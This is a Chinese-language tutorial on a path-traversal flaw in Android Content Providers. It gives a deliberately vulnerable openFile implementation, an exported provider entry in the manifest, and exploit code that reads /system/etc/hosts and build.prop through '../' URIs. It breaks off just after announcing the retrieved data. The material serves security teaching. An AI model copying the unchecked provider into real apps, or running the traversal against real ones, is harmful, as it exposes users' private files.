Content Provider文件目录遍历漏洞

一、漏洞介绍

1、描述

该漏洞由于Content Provider组件暴露，没有对Content Provider组件访问权限进行限制且对Uri路径没有进行过滤，攻击者通过Content Provider实现的OpenFile接口进行攻击，如通过”../”的方式访问任意的目录文件，造成隐私泄露。

2、影响范围

所有的Android系统。

3、漏洞原理

ContentProvider组建权限配置不当和没有对Uri路径进行过滤，导致攻击者可以通过OpenFile接口进行攻击。

4、漏洞攻击位置

ContentProvider的OpenFile接口

二、样例解析

(1)StudentsProvider:

public class StudentsProvider extends ContentProvider {

	@Override
	public ParcelFileDescriptor openFile(Uri uri, String mode)
			throws FileNotFoundException {
		File file = new File(getContext().getFilesDir(), uri.getPath());
		if (file.exists()) {
			return ParcelFileDescriptor.open(file,
					ParcelFileDescriptor.MODE_READ_ONLY);
		}
		throw new FileNotFoundException(uri.getPath());
	}

	@Override
	public boolean onCreate() {
		// TODO Auto-generated method stub
		return false;
	}

	@Override
	public Cursor query(Uri uri, String[] projection, String selection,
			String[] selectionArgs, String sortOrder) {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public String getType(Uri uri) {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public Uri insert(Uri uri, ContentValues values) {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public int delete(Uri uri, String selection, String[] selectionArgs) {
		// TODO Auto-generated method stub
		return 0;
	}

	@Override
	public int update(Uri uri, ContentValues values, String selection,
			String[] selectionArgs) {
		// TODO Auto-generated method stub
		return 0;
	}

}

(2)AndroidManifest.xml:

<provider
            android:name="com.bug.contentprovider.openfile.StudentsProvider"
            android:authorities="com.bug.provider.College"
            android:exported="true"
            android:permission="com.bug.contentprovider.openfile.android.permission.PERMISSION_REWRITE" >
        </provider>

三、漏洞利用

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		attack1();
		attack2();
	}

	public void attack1() {
		try {
			String fileUri = "content://com.bug.provider.College/"
					+ "../../../../system/etc/hosts";
			ContentResolver cr = this.getContentResolver();
			FileInputStream in = (FileInputStream) cr.openInputStream(Uri
					.parse(fileUri));
			byte[] buff = new byte[in.available()];
			in.read(buff);
			Toast.makeText(getBaseContext(), new String(buff),
					Toast.LENGTH_LONG).show();
		} catch (Exception e) {
			e.printStackTrace();
		}

	}
	
	public void attack2() {
		try {
			String fileUri = "content://com.bug.provider.College/"
					+ "../../../../system/build.prop";
			ContentResolver cr = this.getContentResolver();
			FileInputStream in = (FileInputStream) cr.openInputStream(Uri
					.parse(fileUri));
			byte[] buff = new byte[in.available()];
			in.read(buff);
			Toast.makeText(getBaseContext(), new String(buff),
					Toast.LENGTH_LONG).show();
		} catch (Exception e) {
			e.printStackTrace();
		}
		
	}

}

　　下面是利用上面攻击代码后获取到的数据：